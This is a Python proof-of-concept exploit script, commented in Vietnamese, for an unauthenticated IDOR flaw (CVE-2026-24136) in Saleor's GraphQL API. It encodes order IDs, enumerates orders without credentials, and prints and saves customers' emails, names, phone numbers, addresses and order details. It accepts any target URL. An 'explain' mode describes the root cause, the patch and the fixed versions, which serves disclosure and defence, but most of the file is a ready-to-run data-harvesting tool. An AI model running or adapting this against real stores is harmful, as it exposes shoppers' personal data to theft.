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| #!/usr/bin/env python3
"""
poc_cve_2026_24136.py – Proof of Concept khai thác CVE-2026-24136
Lỗ hổng: IDOR trong Saleor GraphQL API (CWE-639)
Tác động: Unauthenticated actor có thể đọc PII của bất kỳ order nào
Khai thác:
Saleor encode Order ID dạng base64("Order:<number>")
Attacker enumerate Order IDs → query GraphQL order()
API trả về PII đầy đủ mà KHÔNG yêu cầu xác thực
"""
import requests
import base64
import json
import argparse
import sys
# Force UTF-8 output on Windows cp125x terminals
if hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
# ─── Config ──────────────────────────────────────────────────────────────────
API_URL = "http://localhost:8000/graphql/"
BANNER = r"""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝
CVE-2026-24136 | Saleor IDOR – Unauthenticated PII Exfiltration
"""
# ─── GraphQL Query ────────────────────────────────────────────────────────────
EXPLOIT_QUERY = """
query ExploitOrder($id: ID!) {
order(id: $id) {
id
number
status
created
userEmail
billingAddress {
firstName
lastName
companyName
streetAddress1
streetAddress2
city
postalCode
country { country code }
phone
}
shippingAddress {
firstName
lastName
streetAddress1
city
postalCode
country { country code }
phone
}
user {
id
email
firstName
lastName
dateJoined
lastLogin
isActive
}
total {
gross { amount currency }
}
lines {
productName
quantity
unitPrice { gross { amount currency } }
}
}
}
"""
# ─── Helpers ─────────────────────────────────────────────────────────────────
def encode_order_id(order_number_or_uuid):
"""Tạo Saleor global ID từ number hoặc UUID."""
raw = f"Order:{order_number_or_uuid}"
return base64.b64encode(raw.encode()).decode()
def decode_order_id(global_id):
"""Decode Saleor global ID về dạng 'Order:N'."""
try:
return base64.b64decode(global_id).decode()
except Exception:
return global_id
def query_order(order_id, token=None):
"""Gửi GraphQL query – mặc định KHÔNG có authentication."""
headers = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"Bearer {token}"
try:
resp = requests.post(
API_URL,
json={"query": EXPLOIT_QUERY, "variables": {"id": order_id}},
headers=headers,
timeout=10,
)
return resp.json()
except requests.exceptions.ConnectionError:
print(f"[!] Không kết nối được tới {API_URL}")
sys.exit(1)
def _box_row(label, value, width=62):
"""In một dòng trong box, đảm bảo alignment chính xác."""
content = f" {label:<16}: {str(value)}"
# Cắt bớt nếu quá dài để khớp với box
if len(content) > width:
content = content[: width - 3] + "..."
print(f"║{content:<{width}}║")
def _box_divider(width=62, char="─"):
print("╠" + char * width + "╣")
def print_pii(order_data):
"""In thông tin PII thu thập được với box-drawing chuẩn (không emoji)."""
order = order_data.get("data", {}).get("order")
if not order:
return False
W = 62
sep = "═" * W
print("\n╔" + sep + "╗")
header = f" [LEAKED] ORDER #{order.get('number')} -- {order.get('status', '')}"
print(f"║{header:<{W}}║")
_box_divider(W)
# User / email
user = order.get("user") or {}
email = order.get("userEmail") or user.get("email", "N/A")
_box_row("Email", email, W)
if user.get("firstName"):
_box_row("Full Name", f"{user.get('firstName','')} {user.get('lastName','')}", W)
if user.get("lastLogin"):
_box_row("Last Login", user.get("lastLogin"), W)
if user.get("isActive") is not None:
_box_row("Account Active", user.get("isActive"), W)
# Billing & Shipping addresses
for label, addr in [("Billing Address", order.get("billingAddress")),
("Shipping Address", order.get("shippingAddress"))]:
if addr:
_box_divider(W)
name = f"{addr.get('firstName','')} {addr.get('lastName','')}".strip()
_box_row(label, name, W)
street = addr.get("streetAddress1") or ""
if street:
_box_row(" Street", street, W)
city_zip = f"{addr.get('city','')} {addr.get('postalCode','')}".strip()
if city_zip:
_box_row(" City/Post", city_zip, W)
country = (addr.get("country") or {}).get("country", "")
if country:
_box_row(" Country", country, W)
phone = addr.get("phone") or "N/A"
_box_row(" Phone", phone, W)
# Order total
total = (order.get("total") or {}).get("gross") or {}
if total:
_box_divider(W)
amount = f"{total.get('amount', 0)} {total.get('currency', '')}"
_box_row("Order Total", amount, W)
# Order lines
lines = order.get("lines") or []
if lines:
_box_divider(W)
for line in lines[:3]:
item = f"{line.get('productName','?')} x{line.get('quantity',1)}"
_box_row(" Item", item, W)
print("╚" + sep + "╝")
return True
# ─── Attack Modes ─────────────────────────────────────────────────────────────
def attack_single(order_id_raw, output_file=None):
"""Khai thác 1 order ID cụ thể.
Nhận:
- số nguyên / UUID: sẽ được encode thành base64("Order:<input>")
- base64 global ID trực tiếp: được nhận diện và dùng thẳng
"""
# Detect nếu input đã là base64 global ID
try:
decoded = base64.b64decode(order_id_raw + "==").decode("utf-8")
if decoded.startswith("Order:"):
global_id = order_id_raw
print(f"\n[*] Target : {decoded} (direct global ID)")
else:
raise ValueError("not a global ID")
except Exception:
global_id = encode_order_id(order_id_raw)
print(f"\n[*] Target : Order #{order_id_raw}")
print(f"[*] Encoded : {global_id} (base64(\"Order:{order_id_raw}\"))")
print(f"[*] No auth header – simulating unauthenticated attacker...")
data = query_order(global_id)
if data.get("data", {}).get("order"):
print("[+] EXPLOIT SUCCESSFUL – PII leaked:\n")
print_pii(data)
if output_file:
order = data["data"]["order"]
_save_json([{
"number": order.get("number"),
"email": order.get("userEmail"),
"phone": (order.get("billingAddress") or {}).get("phone"),
"raw": order,
}], output_file)
elif "errors" in data:
print(f"[-] GraphQL errors: {data['errors']}")
else:
print("[-] Order không tồn tại hoặc API đã được patch.")
def attack_enumerate(start=1, end=20, output_file=None):
"""Enumerate orders theo số thứ tự (sequential IDOR).
NOTE: Saleor 3.x dùng UUID-based IDs nên sequential enumeration
chỉ hoạt động nếu target sử dụng integer IDs (Saleor < 3.x).
Để demo với Saleor 3.20+, dùng mode 'file' với order_ids.json.
"""
print(f"\n[*] Enumerating orders #{start} -> #{end}")
print(f"[*] NOTE: Saleor 3.20+ uses UUID IDs – sequential mode may find 0 results.")
print(f"[*] Use 'file order_ids.json' for UUID-based demo.\n")
print(f"[*] No Authorization header\n")
found = []
for num in range(start, end + 1):
global_id = encode_order_id(num)
data = query_order(global_id)
order = data.get("data", {}).get("order")
if order:
email = order.get("userEmail") or (order.get("user") or {}).get("email", "?")
phone = (order.get("billingAddress") or {}).get("phone", "N/A")
name_first = (order.get("billingAddress") or {}).get("firstName", "")
name_last = (order.get("billingAddress") or {}).get("lastName", "")
found.append({
"number": num,
"email": email,
"name": f"{name_first} {name_last}".strip(),
"phone": phone,
})
print(f" [+] #{num:>4} | {email:<35} | {phone}")
else:
print(f" [-] #{num:>4} | not found / no PII")
print(f"\n[*] Found {len(found)} orders with PII")
if output_file and found:
_save_json(found, output_file)
return found
def attack_from_file(filepath, output_file=None):
"""Khai thác danh sách Order IDs từ file JSON (output của seed_data.py)."""
with open(filepath, encoding="utf-8") as f:
data_file = json.load(f)
order_ids = data_file.get("order_ids", [])
print(f"\n[*] Loaded {len(order_ids)} Order IDs from {filepath}")
print("[*] Querying without authentication...\n")
leaked = []
for oid in order_ids:
print(f"[*] Trying: {oid} ({decode_order_id(oid)})")
data = query_order(oid)
if print_pii(data):
order = data["data"]["order"]
leaked.append({
"number": order.get("number"),
"email": order.get("userEmail"),
"phone": (order.get("billingAddress") or {}).get("phone"),
})
else:
print(f" [-] No data (order missing or patched)")
print(f"\n[*] Successfully leaked {len(leaked)}/{len(order_ids)} orders")
if output_file and leaked:
_save_json(leaked, output_file)
def _save_json(records, filepath):
"""Lưu kết quả ra JSON file."""
with open(filepath, "w", encoding="utf-8") as f:
json.dump(records, f, indent=2, ensure_ascii=False)
print(f"[+] Saved {len(records)} record(s) → {filepath}")
def show_vulnerability_explanation():
print("""
┌──────────────────────────────────────────────────────────────┐
│ CVE-2026-24136 – Giải thích kỹ thuật │
├──────────────────────────────────────────────────────────────┤
│ │
│ ROOT CAUSE (CWE-639 – Authorization Bypass via User Key): │
│ │
│ // Saleor <= 3.20.109 – KHÔNG kiểm tra quyền │
│ def resolve_order(_, info, id): │
│ return Order.objects.filter( │
│ pk=pk_from_global_id(id) │
│ ).first() # <-- trả về cho BẤT KỲ ai │
│ │
│ // Saleor >= 3.20.110 – ĐÃ PATCH │
│ def resolve_order(_, info, id): │
│ order = Order.objects.filter(...).first() │
│ if not requestor_is_staff_member_or_app(...): │
│ if order and order.user != info.context.user: │
│ raise PermissionDenied() # <-- chặn lại │
│ return order │
│ │
│ ORDER ID ENCODING: │
│ Order #42 --> base64("Order:42") = "T3JkZXI6NDI=" │
│ Attacker: for i in 1..N: query order(id=b64(f"Order:{i}"))│
│ │
│ ATTACK FLOW: │
│ Attacker Saleor API │
│ | | │
│ |-- POST /graphql/ ------------>| │
│ | query order(id: "T3Jk...") | │
│ | (NO Authorization header) | │
│ |<-- 200 OK: {email, phone, --| │
│ | billingAddress, user{}} | │
│ │
│ IMPACT: CVSS 4.0 = 8.7 HIGH │
│ • Email, full name, phone, address leaked │
│ • Unauthenticated – no account needed │
│ • Automated enumeration possible │
│ │
│ FIX: Upgrade to 3.20.110 / 3.21.45 / 3.22.29 │
│ │
└──────────────────────────────────────────────────────────────┘
""")
# ─── CLI ─────────────────────────────────────────────────────────────────────
def main():
global API_URL
print(BANNER)
parser = argparse.ArgumentParser(
description="PoC CVE-2026-24136 – Saleor IDOR PII Exfiltration",
formatter_class=argparse.RawTextHelpFormatter,
)
parser.add_argument(
"--url", default=API_URL,
help=f"Saleor GraphQL endpoint (default: {API_URL})"
)
parser.add_argument(
"--output", metavar="FILE", default=None,
help="Lưu kết quả PII ra JSON file (vd: --output leaked.json)"
)
subparsers = parser.add_subparsers(dest="mode", help="Chế độ khai thác")
# Mode: single
p1 = subparsers.add_parser("single", help="Khai thác 1 order ID cụ thể")
p1.add_argument("order_id", help="Order number (vd: 1, 42) hoặc UUID")
# Mode: enumerate
p2 = subparsers.add_parser("enumerate", help="Enumerate nhiều orders theo số thứ tự")
p2.add_argument("--start", type=int, default=1, help="Order number bắt đầu (default: 1)")
p2.add_argument("--end", type=int, default=20, help="Order number kết thúc (default: 20)")
# Mode: file
p3 = subparsers.add_parser("file", help="Khai thác từ file order_ids.json (output của seed_data.py)")
p3.add_argument("filepath", help="Path tới file JSON")
# Mode: explain
subparsers.add_parser("explain", help="Hiển thị giải thích kỹ thuật lỗ hổng")
args = parser.parse_args()
if args.url:
API_URL = args.url
if args.mode == "single":
attack_single(args.order_id, output_file=args.output)
elif args.mode == "enumerate":
attack_enumerate(args.start, args.end, output_file=args.output)
elif args.mode == "file":
attack_from_file(args.filepath, output_file=args.output)
elif args.mode == "explain":
show_vulnerability_explanation()
else:
parser.print_help()
print("\n Ví dụ:")
print(" python poc_cve_2026_24136.py explain")
print(" python poc_cve_2026_24136.py single 1")
print(" python poc_cve_2026_24136.py enumerate --start 1 --end 50")
print(" python poc_cve_2026_24136.py enumerate --start 1 --end 50 --output leaked.json")
print(" python poc_cve_2026_24136.py file ./order_ids.json")
print(" python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ enumerate")
if __name__ == "__main__":
main()
|
